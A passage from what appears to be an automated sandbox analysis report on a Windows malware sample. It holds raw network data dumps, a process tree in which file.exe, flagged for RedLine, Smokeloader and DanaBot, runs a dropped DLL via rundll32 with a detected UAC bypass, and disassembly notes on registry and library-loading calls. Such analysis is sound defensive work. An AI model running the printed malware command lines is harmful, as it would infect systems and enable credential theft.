61 b6 a2 c9 ec 4e ac 7f 46 ee 80 70 6b 96 a2 ce 74 53 db b3 59 4b f5 f4 d5 43 60 90 15 b2 01 2e ff 15 3c 59 ff c5 3a a6 93 7e 21 67 88 Data Ascii: H@2ndt0lYE"jI/8y<K2T0PzDIo>}H@u@j#k3mB.Ow)HJ%9*Imkx{4KwQ;gJsNF'DO@}Wwf>Wz0=a7,aNFpktSYKC`.<Y:~!g
2023-03-17 14:07:55 UTC	3344	IN	Data Raw: cd 73 5a 49 c7 16 c7 73 d3 57 cc f3 d6 d7 d1 15 b5 dd c9 67 52 bf a2 2b 08 ea 4f 25 13 f8 ca dd f2 a9 15 68 e1 23 28 92 67 8d de 03 b1 15 54 d0 1f dc 77 31 e0 45 c5 92 ea cc ea 10 69 8f ae 1f 57 21 48 48 f2 51 66 cd 6f 60 ac 65 1e ae 0a 01 5b c5 f5 c7 e3 1f 3e f7 9a d7 70 80 14 1c 92 d2 52 92 f8 9d 49 98 24 3e 88 2f 4c da d0 cb dd 21 5d cf 84 4d 51 ba f1 30 47 5d 01 47 9e f3 e9 f6 b4 16 87 2c a3 ee 65 4b 0c e6 7f 39 20 98 70 2e f1 98 d5 68 f9 ff 8d ba 2d 7d 39 05 02 d8 14 20 60 80 c0 ba 6d a8 37 7e c3 6e 30 e4 9e e2 14 a1 ce 70 31 9a a0 c9 a0 64 60 64 80 e1 ea 7b d3 95 91 44 f8 09 78 7a 75 5f 8d 04 29 d8 c8 6b 67 39 a2 28 10 85 61 d2 d6 98 c3 cc 29 c0 c1 79 c1 38 17 05 47 6c a3 79 f8 75 ab 46 86 2d 5e e3 3c c0 e9 84 7f 41 58 27 ee b7 24 ee 05 f9 3a 75 3b Data Ascii: sZIsWgR+O%h#(gTw1EiW!HHQfo`e[>pRI$>/L!]MQ0G]G,eK9 p.h-}9 `m7~n0p1d`d{Dxzu_)kg9(a)y8GlyuF-^<AX'$:u;
2023-03-17 14:07:55 UTC	3360	IN	Data Raw: 18 b2 ad bb 38 da ed c4 9c b2 50 5f 6b d1 71 50 f3 c3 d0 fc 1b 38 7a f0 9d ad 29 65 b7 4a 98 83 54 40 da 3e 2a b9 9f 98 27 14 d5 98 9c 42 c9 28 ff 3f 64 9c 23 a6 7b 1f 13 6f 69 28 4f 59 c4 71 7a 33 0a 1e 50 f8 e2 65 aa 1a 83 f0 d7 f0 e6 8c da cb 0e 96 14 94 94 76 ab 34 34 53 71 9a 47 77 9f fe fd a4 7f 5a a9 46 fa 5d 2d 9c e1 a1 6c ab cd 3b 5c f9 2d 2f e4 2c 42 70 2d 20 55 1a 44 14 8a 91 64 92 44 63 35 55 4e 28 8a 44 c2 71 51 d9 ee df c3 a0 9c db 82 47 75 e7 98 bb 7a b0 b1 50 75 cf a7 c6 ca 86 ce 06 4f 24 3c aa 8d 2c b4 98 d6 92 f8 16 a8 1d f3 a7 e5 72 6f 59 48 f9 64 7f 0a 0f c4 8a 0a d2 9a c4 14 0e 5e d5 62 85 f7 5f fe 5f df 9f a5 96 f9 c8 9b 2a 22 67 26 2f 12 6a 89 10 74 0b 89 0e a2 d7 6b 21 28 7b 9f 8e 62 3e 53 28 ad 5a 8d 43 8f 92 e2 ea c1 b1 68 e9 28 Data Ascii: 8P_kqP8z)eJT@>'B(?d#{oi(OYqz3Pev44SqGwZF]-l;\-/,Bp- UDdDc5UN(DqQGuzPuO$<,roYHd^b__"g&/jtk!({b>S(ZCh(
2023-03-17 14:07:55 UTC	3376	IN	Data Raw: 7e 8c 68 f5 0c 0c da b0 f8 09 81 8a 8c 56 d0 99 13 ce 74 43 87 c7 1c 8d cd c9 59 73 d2 cf d4 7b b6 46 59 ef 55 02 db 3e 86 d9 64 8b dc 84 7e 48 56 7d d3 e7 03 b6 83 61 66 93 b6 d9 1d 7e a5 86 ed 2f 8f 5e 1b c2 43 d1 99 b7 7e 82 44 72 f9 2e b8 3b c6 a6 b8 2e 18 ce 60 f7 5f 27 d2 37 af e9 ed ca bd 3a 0d a5 2c 3d 1d 1c 37 ec df 85 4f 95 a4 a9 0a 87 a5 d0 f2 9c 24 24 83 4d a5 ad 36 43 5c cd f5 f0 76 85 38 4f 78 24 96 fe e1 a9 d5 27 9d cb 5a d3 9f 88 70 9f e0 95 04 44 bd 22 a3 07 67 b8 da 43 e7 54 40 7e c4 75 f1 a7 bf a7 29 fd c9 d0 7e 5d 1b ec d9 3b 97 70 fa dd dd cf 06 9b fa bc 17 49 49 67 8e f4 ee 63 6d 55 ea dd b9 d1 5d 98 35 9e df 76 2d 45 6c 6b 45 c7 de b4 50 56 b6 88 fb 03 62 bd d1 c2 07 80 8a ea bb 80 24 1e 5e 25 d8 da f1 cf 01 81 2c 33 7e 3b 87 ce 33 Data Ascii: ~hVtCYs{FYU>d~HV}af~/^C~Dr.;.`_'7:,=7O$$M6C\v8Ox$'ZpD"gCT@~u)~];pIIgcmU]5v-ElkEPVb$^%,3~;3
2023-03-17 14:07:55 UTC	3392	IN	Data Raw: fd 59 f2 08 98 cf 6c fa 3a cf 5b 23 6f 1e 0f c1 a7 d3 2c 1a bb 5d 81 a8 dc 5f 0e fe 66 bd be 0b c5 20 53 01 c8 e1 f9 74 89 99 2f 42 d7 21 65 4a 7d c3 bd bc df 2c ec 2b d5 87 c4 5d fe 3c 28 94 57 3f 22 79 56 ad f5 39 d0 01 89 3e 5c bc 02 1a 9f a2 04 60 de 25 96 d4 a8 ff 6c 4d c8 30 90 93 0b af 52 c8 25 ab ad dd ef 09 d8 a2 7e 8e 11 e5 ac f3 2f 0d 94 21 ec 2c 10 02 ac 39 c8 db 16 f3 73 5b 7a 0b 09 14 e5 6a 56 25 8d bb fc 38 a4 0e 20 47 02 a9 59 22 b7 06 cf 6a 03 53 58 a4 e6 14 f2 04 a3 a9 93 6d d1 ee 4f b4 b9 b7 10 9f 76 01 da 35 31 f6 71 32 05 26 28 f4 c0 b9 68 d3 c1 b6 b6 86 8f fc 28 d0 cb 22 b4 5a c5 83 e2 06 65 c3 2b 3e de 6d d5 11 c6 40 94 d7 06 ba 26 6b 65 f9 c8 a9 9a db c0 c5 52 27 06 1c f9 39 5b ed 0c a1 c8 a8 98 11 98 19 9c 89 17 34 e5 50 fb a5 28 Data Ascii: Yl:[#o,]_f St/B!eJ},+]<(W?"yV9>\`%lM0R%~/!,9s[zjV%8 GY"jSXmOv51q2&(h("Ze+>m@&keR'9[4P(
2023-03-17 14:07:55 UTC	3408	IN	Data Raw: 66 be be 88 ad c9 3f b4 f2 4a 7f f8 cd 7e 17 fe c8 84 dd 80 47 9b 7d 42 57 51 49 d2 1b 32 85 89 49 9c f4 a3 9e 66 ca f5 89 00 e4 f2 96 d6 15 b6 89 66 6c 60 c5 2c 1d 76 02 5f b5 89 f8 5e 92 27 be 99 9b 42 6f 8d 69 3b ec 28 7e 9a 45 7b f1 4d 21 18 5d 41 6c a2 f7 63 61 6f 40 f7 83 ba ad d9 5b 91 8c 7f 59 95 c6 c2 3a 88 c1 89 f5 a6 ed e8 ec 43 81 03 fa 70 01 a8 8d b0 01 64 7b 75 86 9b 5e bb 80 5a 36 82 f4 7d e5 68 3b 3a 16 e0 b3 1a 44 12 4b 4f 00 a4 bd c4 99 c1 79 f6 d4 8d 4b c5 00 29 59 c7 93 d8 f4 9a ea bc 93 d3 e9 8d e6 14 be aa ee 5c dc 5f 28 5e 1b a4 30 b2 e9 31 da 6d 47 3b d6 d7 65 21 e8 23 4d 85 14 11 af 7e a1 d7 9d 01 3b 25 bf 7d 1c 3b 89 74 aa 49 23 fe 05 4f 71 53 fc c2 0b c5 c3 f9 2b 7c c4 2e 09 b7 24 04 c7 4c 2c 6f e6 15 24 a8 2e f7 dd 11 9a 68 0f Data Ascii: f?J~G}BWQI2Iffl`,v_^'Boi;(~E{M!]Alcao@[Y:Cpd{u^Z6}h;:DKOyK)Y\_(^01mG;e!#M~;%};tI#OqS+\|.$L,o$.h
2023-03-17 14:07:55 UTC	3424	IN	Data Raw: 6a 56 47 97 0b 8d bc 39 7f 74 d1 10 c0 c6 bb 5d 69 83 bc ea d9 81 3f 14 91 d5 12 e0 56 0b c4 8f 49 81 9f 40 ab 99 d4 a5 91 da 25 a3 b1 12 c7 8c b8 e0 96 38 35 d0 64 95 2f 8c 5c f9 e6 83 35 83 f6 ab 2e 82 c9 9e e4 3d 5c 8c 93 b7 82 66 1d 16 d5 56 cd ef 81 a5 ba 01 53 e1 7a 93 19 59 97 71 a3 d1 48 fc a4 64 c9 e5 77 bc 95 78 8f ca c7 66 0d 74 26 c7 42 ac 5e 59 69 19 4a fc ab f6 54 f9 0a f0 90 ff 5b 71 fa bc cb 9d 52 6a 35 b3 df f0 57 a9 6d e3 8e c5 7b 9f 6b f4 48 4b 09 04 df 93 45 28 24 4f b9 3d 57 7d 9c fd 6e af 40 87 9d c8 5c 39 bc 9d 49 66 d6 73 1c eb 22 bb b7 a0 03 d2 48 e3 50 96 e2 88 58 f6 a8 d2 db 83 8e e8 e7 6e 51 e9 3a 1b 16 64 fa ac 3b 59 aa de 02 07 37 f6 b5 c0 ee 8d a8 f8 88 d0 bd 2f fa 2a 59 d8 a3 69 0d af 20 1b 6f 84 4c a7 f9 2b 59 63 32 76 3c Data Ascii: jVG9t]i?VI@%85d/\5.=\fVSzYqHdwxft&B^YiJT[qRj5Wm{kHKE($O=W}n@\9Ifs"HPXnQ:d;Y7/*Yi oL+Yc2v<
2023-03-17 14:07:55 UTC	3440	IN	Data Raw: f7 78 4c c0 bc 59 15 e3 34 3c 96 22 c9 9a f3 41 d9 4b e3 94 e8 d4 f4 32 f6 e8 93 fa 7b 43 66 88 f3 89 de 93 0c df d8 f4 17 e8 55 4c 2e b9 48 2a a0 c0 06 a6 eb f5 d3 90 90 58 28 92 8a dc 50 cf d9 0c c3 63 62 61 0d f0 a0 15 16 df 14 9a ef 9f 44 fe 12 ec b5 cf 3d 6e 60 ca 12 92 ee f9 7d bf 83 2b 95 59 e7 d3 8a ed f5 63 ca b8 69 55 39 a0 84 4f 16 1a 48 52 8d e4 5c 56 da 57 2f a4 db 4e d7 7d c6 4f 3b 52 0c 43 3e f7 de de fd 4e 0c 08 da c7 c2 9d ed 6f c6 65 a5 13 7b 14 e8 0f fc 6f 29 e8 c9 b2 c8 bb 31 7b bd 09 a1 be 4c ca c9 a6 d4 de 59 c5 13 6b 54 98 11 ef 29 66 f0 5c 74 0a 75 7d 74 cb 60 b7 07 05 fe 00 8d 91 56 e5 dd 9c c0 cd dc 5b f3 2d a0 3a ad 2c 34 2c 77 ce 21 1b 20 71 cd e6 d3 cf 4a 3c 7d 03 6c 3b 43 22 e2 5c 2b 38 fc aa 46 0b b4 38 92 bc d4 f5 90 77 f2 Data Ascii: xLY4<"AK2{CfUL.H*X(PcbaD=n`}+YciU9OHR\VW/N}O;RC>Noe{o)1{LYkT)f\tu}t`V[-:,4,w! qJ<}l;C"\+8F8w
2023-03-17 14:07:55 UTC	3456	IN	Data Raw: cc 81 a5 cd 28 f2 59 3f fd b7 0a fa 88 a4 22 b9 9a ca 94 f1 d7 36 5e 09 a4 89 9e 2c 4a 42 eb f5 d1 49 1c 90 56 9a aa 8b 0d da 7e a3 07 66 22 16 e6 d5 05 07 da 68 7e 05 24 6a ff 33 c8 29 d8 0c 33 9c 41 67 e9 72 a4 92 f0 ed a3 2a 78 4b 7b 1c ae 44 53 e1 03 2d 0a d9 34 1c 8c 25 0a 2e c2 70 d2 9d 90 ca 6f 44 0b 73 01 bb 52 a8 7d 90 16 db 53 a5 7a d2 1f 11 3c 0b 0b d5 53 fd 88 7f b0 96 d5 68 b7 50 99 f2 6c 85 c8 df af 25 a6 da 09 cc 41 3c 32 5d 19 2d 10 b3 d1 e4 af 48 de 4a ca b1 15 5e 62 a5 da 5c c6 8c 63 11 72 eb 08 4c bb b9 e1 f9 d4 d2 2f 7a 9d 92 9b b4 a1 f0 0f 75 84 9d ac 61 52 7a 25 06 e0 57 51 ab 8b 75 78 22 dc c8 8c 91 58 1e 12 5b ec ec 58 93 a7 cd e4 02 b5 f7 c6 1e 89 df 1e 90 85 71 09 88 fb 8f a8 7d c0 a0 e2 84 c4 87 16 fd 67 73 fd 8b cc 9b 52 7e 3f Data Ascii: (Y?"6^,JBIV~f"h~$j3)3Agr*xK{DS-4%.poDsR}Sz<ShPl%A<2]-HJ^b\crL/zuaRz%WQux"X[Xq}gsR~?
2023-03-17 14:07:55 UTC	3472	IN	Data Raw: 0c 18 19 13 bb 57 2d 63 fa e3 7b c5 a2 91 4b 63 cc 03 f4 54 77 27 d8 41 ce fc 15 cb 68 8b c3 fc dc 0c a3 bd 0f 98 a1 17 39 21 e6 cf e9 dd 64 b9 f6 9c 6d 28 da 5f f1 90 e1 88 6b 91 56 e1 ff 54 81 16 64 ec aa 0b 0b af 2f 59 eb 85 d5 c7 87 ea dc fb 3b 9e 32 95 7f 89 71 31 ad b5 81 96 60 b1 ef b0 fa 57 79 12 5f 65 8f 9d db 8c c4 9e dc 12 b5 20 7f a1 9c fd 46 8c 40 d2 18 7e c7 bc a5 22 6b 13 04 fb cb 21 c8 63 79 d7 bf 28 49 c4 3b de 49 98 79 2e 27 fc ec 58 dc 26 75 e3 94 e0 f0 38 43 ba 4a 16 87 30 ee bf 42 1f d9 ae 83 b5 ae 18 c7 e0 13 1a 03 5b 6d a4 0e 4e 95 d8 a7 13 8a 90 18 cc 71 f4 64 a1 13 dd d8 28 be 78 03 8b 35 ed 16 cb 62 60 25 a2 20 2c 39 72 d0 45 fd 89 ef d3 84 91 4d b1 c5 bd fa 27 28 51 35 bb 96 ff 0e 66 71 d6 ee d7 c6 4d 64 ca a7 e8 2f 58 b1 62 72 Data Ascii: W-c{KcTw'Ah9!dm(_kVTd/Y;2q1`Wy_e F@~"k!cy(I;Iy.'X&u8CJ0B[mNqd(x5b`% ,9rEM'(Q5fqMd/Xbr
2023-03-17 14:07:55 UTC	3488	IN	Data Raw: f2 55 22 a0 a3 e2 8d ba 08 c1 78 26 66 67 6c af a8 fa 40 f9 bc a7 18 16 0e 3e b2 c3 2f c6 57 dc 48 fa 79 21 f3 39 48 6f 60 46 3d bd d0 29 6b 25 85 d9 b5 1e 40 1f 22 96 0c 8b 60 7d 87 3f fe 31 6d 21 04 ce 49 79 9c fc 56 8f 2b 3c 20 80 49 09 4c 3a 43 c0 60 39 58 de bf 13 a6 16 0d 4a a6 75 85 d8 d1 3b 93 5a de cf b6 30 4f dd 06 26 36 ee 53 38 45 b8 a0 23 41 9d 63 a7 7d d6 46 a4 e3 ca 26 dd 1a 7f 01 48 86 31 12 30 c3 56 aa fa bd ac a4 13 98 06 35 38 d1 50 4a f0 9c 55 7d 3c 88 e8 1e b8 ac 51 f0 8c 5c bf 39 f1 2d 8b 15 36 11 33 9f ce f4 1a 1f 06 87 04 ca 39 31 c0 6c e8 ab 04 77 72 bf 65 ab 81 2f fa 1c 4e c9 b1 7e 88 d7 38 6a 6b 3a 45 12 04 04 ac 8a f3 cc 51 1b a3 de 46 df d4 8b 9f 36 4f 7d 57 1c 96 c1 24 66 a4 ba 31 51 1d 7d aa bc a4 cd c3 6f 89 86 65 7c d5 4b Data Ascii: U"x&fgl@>/WHy!9Ho`F=)k%@"`}?1m!IyV+< IL:C`9XJu;Z0O&6S8E#Ac}F&H10V58PJU}<Q\9-6391lwre/N~8jk:EQF6O}W$f1Q}oe\|K
2023-03-17 14:07:55 UTC	3504	IN	Data Raw: 6e 2e 12 9c f5 9c 28 1e 4b 35 10 89 1a c2 a9 c8 19 8c 4f 89 16 42 01 6f 6d f9 b2 b8 5c b2 47 97 d1 13 30 ad 4a 1e 56 63 47 45 9e 88 cb 37 ed 26 6c 1d ef eb 9f 20 7e 1d a2 63 28 35 74 ca 87 b9 8f 45 d4 fa 53 e9 42 f1 6d 4c 4f 84 92 72 df c1 d7 25 13 10 e5 f3 59 68 58 eb 9b fc cb a7 a7 17 e0 f9 8e 96 87 f2 a6 75 9a b6 26 17 82 91 fd 63 ed 9f 84 67 df 29 d6 8b c8 66 51 01 d7 1b 2a c4 53 fe 2c a7 af 1c d9 c5 23 d2 66 4c 8b 4b 63 f1 e4 58 4e e6 00 63 e8 b9 b3 78 52 c7 de 15 d9 b5 4e 32 6e d7 5d 15 4c 16 5a 9d 04 ab 5b 34 02 92 18 60 d2 df 99 4c c3 a3 f9 db 06 5e 4c 54 44 6d 4f d0 a2 33 83 3e d0 3b 20 a5 30 7d cb 0e 6c 89 08 4d 49 19 49 c8 4f 44 40 9b d5 98 04 74 83 87 ca 96 94 ef 75 c8 1f 98 77 1e 0b f8 eb 57 30 cd e0 47 f7 f0 be 92 40 75 85 cb e2 8e b4 a1 61 Data Ascii: n.(K5OBom\G0JVcGE7&l ~c(5tESBmLOr%YhXu&cg)fQ*S,#fLKcXNcxRN2n]LZ[4`L^LTDmO3>; 0}lMIIOD@tuwW0G@ua
2023-03-17 14:07:55 UTC	3520	IN	Data Raw: 20 27 96 dd d2 b8 c2 30 ba 5d a9 85 60 ec a4 ee 35 54 f1 35 97 c7 d2 4c c0 80 b3 19 d3 97 0e 79 94 3e 69 22 1c e1 b3 f9 29 5f 98 c3 c0 23 c2 58 94 0a 2d 55 5d c1 c5 b1 43 2a f5 c1 d9 88 cf 3a 35 ee c6 a8 3e 3c b7 02 8c 3f bd 25 50 e1 e6 d2 ef 72 59 f4 dd f2 60 3c be 67 a0 da 4c bf 8d 4e 7d 33 de 5a 75 29 5e f9 83 be 6b a1 c7 50 45 0a d7 aa 04 46 22 2b 25 90 a9 1f 37 e6 0f bf da 8e 71 63 4c b5 fb 8b a5 3e db ca 6f 36 ce dd 7c fd 24 c3 14 06 35 32 cb 6d 5a e7 f4 5d 22 e5 a0 12 35 32 cb fd 63 94 47 cd 1d da d4 b4 72 71 9a 8a c4 35 2f 53 d7 ea 19 76 de 59 93 0a 44 54 6e da 3b 0c 35 7c d3 ab de b0 e2 c7 6c 83 47 35 2c b9 19 b2 ee 52 49 28 3f a8 64 ca 8c 66 06 bc cf dd 13 2f dd f9 6e 6e bd 2e 97 c1 63 e7 7b 37 1d 3c 94 a8 5f f3 71 73 37 89 ea e5 db 71 2e c3 26 Data Ascii: '0]`5T5Ly>i")_#X-U]C*:5><?%PrY`<gLN}3Zu)^kPEF"+%7qcL>o6\|$52mZ]"52cGrq5/SvYDTn;5\|lG5,RI(?df/nn.c{7<_qs7q.&
2023-03-17 14:07:55 UTC	3536	IN	Data Raw: 31 a9 c6 b7 1e 73 af 45 08 21 de 9d 5d 67 55 2d 5e de 78 bb 9a 75 a6 ee b2 d9 bd 79 15 04 9d 42 96 db ff bb e6 37 b2 76 a4 d8 88 17 fa d4 dc 04 0c ee 5d df 88 fc 03 1d 34 31 e1 61 aa 0b 3a d0 48 d1 6a 69 e7 42 7c 2c 33 6e c1 64 e6 39 ac 72 69 c6 9d c8 70 ab cc a1 ac fa 45 12 21 90 bf 86 2a 15 34 12 50 df 87 1c af 31 e6 40 b1 7b 66 8f df 3a 5e 6d 66 b5 f8 4a 1c 8c 56 a5 9a 13 99 cd b4 de b7 c1 f2 12 6a aa 49 4c 4b e1 9e f6 d5 fa f9 c3 5e e3 df 09 ed 43 c3 3a d7 4f 7f ed da fd 41 10 f1 af 7b 56 f9 81 37 2d 0b 65 bd d5 28 a1 f9 cf dd 4e f6 55 fc e7 7e 91 9d e5 20 f1 89 12 6a 4f c5 46 ab 77 04 d9 91 24 67 37 a9 ea 0e 10 25 5f 7b 19 38 ab 5d 42 ec e0 ef e8 8f 10 45 1f 7a 37 91 d5 83 d0 30 ec ec 47 c0 65 9b d0 22 23 9b d1 7f 0b 04 9e 11 1c 6e eb a8 d2 bc 34 2c Data Ascii: 1sE!]gU-^xuyB7v]41a:HjiB\|,3nd9ripE!*4P1@{f:^mfJVjILK^C:OA{V7-e(NU~ jOFw$g7%_{8]BEz70Ge"#n4,
2023-03-17 14:07:55 UTC	3552	IN	Data Raw: c0 53 fa 48 60 1f d2 97 cb eb cb 67 54 f7 be 88 d6 80 63 b1 b8 a2 a0 fe 99 6b 53 b4 d3 82 63 9e 28 02 29 32 4a 84 3e 10 22 7d 54 a7 f5 5e 48 05 54 9c ed 26 2a e4 db 28 78 43 57 c6 79 61 ee cb 79 b8 8c 30 93 c3 94 39 fe ca d8 8f 27 87 8e 32 31 ec 91 5f 44 e2 e9 33 2a 78 3c 17 97 74 55 6d 55 64 38 b0 55 33 a0 de 65 2c 5e 8b bd ea e9 dc df 5f 45 56 17 44 6b 31 c5 1d 9d f8 89 5b 6c 49 16 6c b0 3b 04 2d 57 8f 46 bf 05 2b e4 c0 33 6c 29 0a 02 60 67 0b fa 26 b7 8a a3 4f cc ae 02 f0 49 ba 3a a2 27 a4 69 f2 1c 3c 47 eb 74 fe 59 86 fb f2 0a f3 bd bc 29 84 1d 54 b5 0d d0 c7 cb b0 e8 4b 6b 69 57 4d 55 c9 e3 e4 d6 10 e2 6d 83 94 cd 5e 4e 02 78 7e 9b 3a 00 93 95 be b9 c6 44 4f 3f e7 92 43 d8 29 40 6c 24 41 4f ca ee 2f 5d c1 f9 65 a8 09 62 50 35 fc e7 7c 92 e1 dd 38 b3 Data Ascii: SH`gTckSc()2J>"}T^HT&(xCWyay09'21_D3x<tUmUd8U3e,^_EVDk1[lIl;-WF+3l)`g&OI:'i<GtY)TKkiWMUm^Nx~:DO?C)@l$AO/]ebP5\|8
2023-03-17 14:07:55 UTC	3568	IN	Data Raw: e1 62 19 14 23 38 f1 c8 6d 4c 7c f9 7d 19 c8 c0 06 7e fb 30 d2 19 e8 0a d4 17 80 29 e4 f1 db da aa 7b 83 18 57 04 48 0f 12 1c 23 e0 64 9d 68 f5 9f 68 db 8f 84 21 3e bc 1e a0 5d fd e3 ed 70 1a e3 59 f3 de 6d 16 ad 24 7b ff 2c b8 74 9c da 4d 80 ad 9c 88 ba 7c cf 8a 5b 1f 14 87 37 75 9d 09 ce fc 1c 59 47 c0 ea 14 fc 6a c4 ca 66 8d 68 e1 db 6d 9b 97 14 5a 70 83 56 ac 53 54 5c 8f f1 0f 6b 64 83 9b cb 3e f6 b6 b2 bc 27 20 f1 bf 0e 14 d9 90 53 dd 38 89 4e a1 6a f0 1e 49 3a 71 a9 88 40 82 89 f9 c2 35 83 db 20 1b 8e f0 69 0d 14 ca 63 6d 11 d2 df b7 34 1d 03 92 00 1b d9 67 86 64 68 30 a0 38 5e d7 8f ee 54 20 4c 9a fe 7d 3b ea 06 16 0e 77 a0 9e ed 85 35 44 37 bf 48 9a 97 55 2f b3 0b fa fa c9 f9 32 9d 29 a9 49 12 1f 9d ee 15 c1 36 ad 0c 59 ee 01 89 4b 4c 93 aa 1c f7 Data Ascii: b#8mL\|}~0){WH#dhh!>]pYm${,tM\|[7uYGjfhmZpVST\kd>' S8NjI:q@5 icm4gdh08^T L};w5D7HU/2)I6YKL

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: file.exePID: 5480, Parent PID: 3452

General

Target ID:	0
Start time:	15:07:37
Start date:	17/03/2023
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\file.exe
Imagebase:	0x400000
File size:	2806272 bytes
MD5 hash:	50B28C8B39D65E49BE2873EF4FAE4955
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.280144757.00000000049F4000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.281518960.0000000004C70000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_DanaBot_stealer_dll_1, Description: Yara detected DanaBot stealer dll, Source: 00000000.00000003.264404925.000000007F8F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DanaBot_stealer_dll_1, Description: Yara detected DanaBot stealer dll, Source: 00000000.00000003.277694243.000000007F5B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 780, Parent PID: 5480

General

Target ID:	1
Start time:	15:07:45
Start date:	17/03/2023
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\rundll32.exe C:\Users\user\AppData\Local\Temp\Wtoahoepfise.dll,start
Imagebase:	0xe0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000001.00000003.305982722.000000007DEE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000001.00000003.310891482.000000007DFD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 3144, Parent PID: 780

General

Target ID:	11
Start time:	15:08:20
Start date:	17/03/2023
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 25064
Imagebase:	0x7ff749b50000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: rundll32.exePID: 3144, Parent PID: 780COMMON

Execution Graph

Execution Coverage:	1.5%
Dynamic/Decrypted Code Coverage:	91.7%
Signature Coverage:	21%
Total number of Nodes:	205
Total number of Limit Nodes:	15

Executed Functions

Function 000002633C9038A0 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 149
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000002633C9038E1
RegOpenKeyExW.ADVAPI32 ref: 000002633C90393F
RegOpenKeyExW.ADVAPI32 ref: 000002633C90396F
RegOpenKeyExW.ADVAPI32 ref: 000002633C90399F
RegOpenKeyExW.ADVAPI32 ref: 000002633C9039CF
RegOpenKeyExW.ADVAPI32 ref: 000002633C9039FB
RegOpenKeyExW.ADVAPI32 ref: 000002633C903A27
RegQueryValueExW.ADVAPI32 ref: 000002633C903A6B
RegQueryValueExW.ADVAPI32 ref: 000002633C903AAA
RegQueryValueExW.ADVAPI32 ref: 000002633C903AED
RegQueryValueExW.ADVAPI32 ref: 000002633C903B2F
RegCloseKey.ADVAPI32 ref: 000002633C903B65

Strings

Software\CodeGear\Locales, xrefs: 000002633C903982, 000002633C9039B2
Software\Borland\Locales, xrefs: 000002633C9039DE
Software\Embarcadero\Locales, xrefs: 000002633C903922, 000002633C903952
Software\Borland\Delphi\Locales, xrefs: 000002633C903A0A

Memory Dump Source

Source File: 0000000B.00000002.660376067.000002633C8F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002633C8F0000, based on PE: true

Associated: 0000000B.00000002.660376067.000002633C911000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB58000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB5C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB64000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2633c8f0000_rundll32.jbxd

Similarity

API ID: Open$QueryValue$CloseFileModuleName
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales$Software\CodeGear\Locales$Software\Embarcadero\Locales
API String ID: 2701450724-3496071916
Opcode ID: f270fc2701454c3de17a65210ed8284eccc5499585a6301b9d166e1024742c1e
Instruction ID: d91d1bb1865954e866e9c012aa19667f091bc614658e0503feb32dff57ceedae
Opcode Fuzzy Hash: f270fc2701454c3de17a65210ed8284eccc5499585a6301b9d166e1024742c1e
Instruction Fuzzy Hash: F871E731204B81C9EB60DF61E8993D923A4F78878CF511255DA4D8BB9ADF7AC3A5C384

Uniqueness

Uniqueness Score: -1.00%

Function 00650244 Relevance: 3.1, APIs: 2, Instructions: 84
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,?,?,?,?,?,006500D1), ref: 0065029A
GetProcAddressForCaller.KERNELBASE ref: 006502CD

Memory Dump Source

Source File: 0000000B.00000002.659014448.0000000000650000.00000040.00000400.00020000.00000000.sdmp, Offset: 00650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_650000_rundll32.jbxd

Similarity

API ID: AddressCallerLibraryLoadProc
String ID:
API String ID: 4215043672-0
Opcode ID: 4cffacf2fe42f02650fe63594826d44d7aa289d25133e4fb89155f791e269388
Instruction ID: b30d66b65258e2cb5f552723254db33f76b32820294b91f50a5964b3e0954485
Opcode Fuzzy Hash: 4cffacf2fe42f02650fe63594826d44d7aa289d25133e4fb89155f791e269388
Instruction Fuzzy Hash: 5511E632658A0A4BFF249FA9DC887F633D6FB54322F180069DC16D7301D6B8D9868790

Uniqueness

Uniqueness Score: -1.00%

Function 000002633C8F73F0 Relevance: 4.6, APIs: 3, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

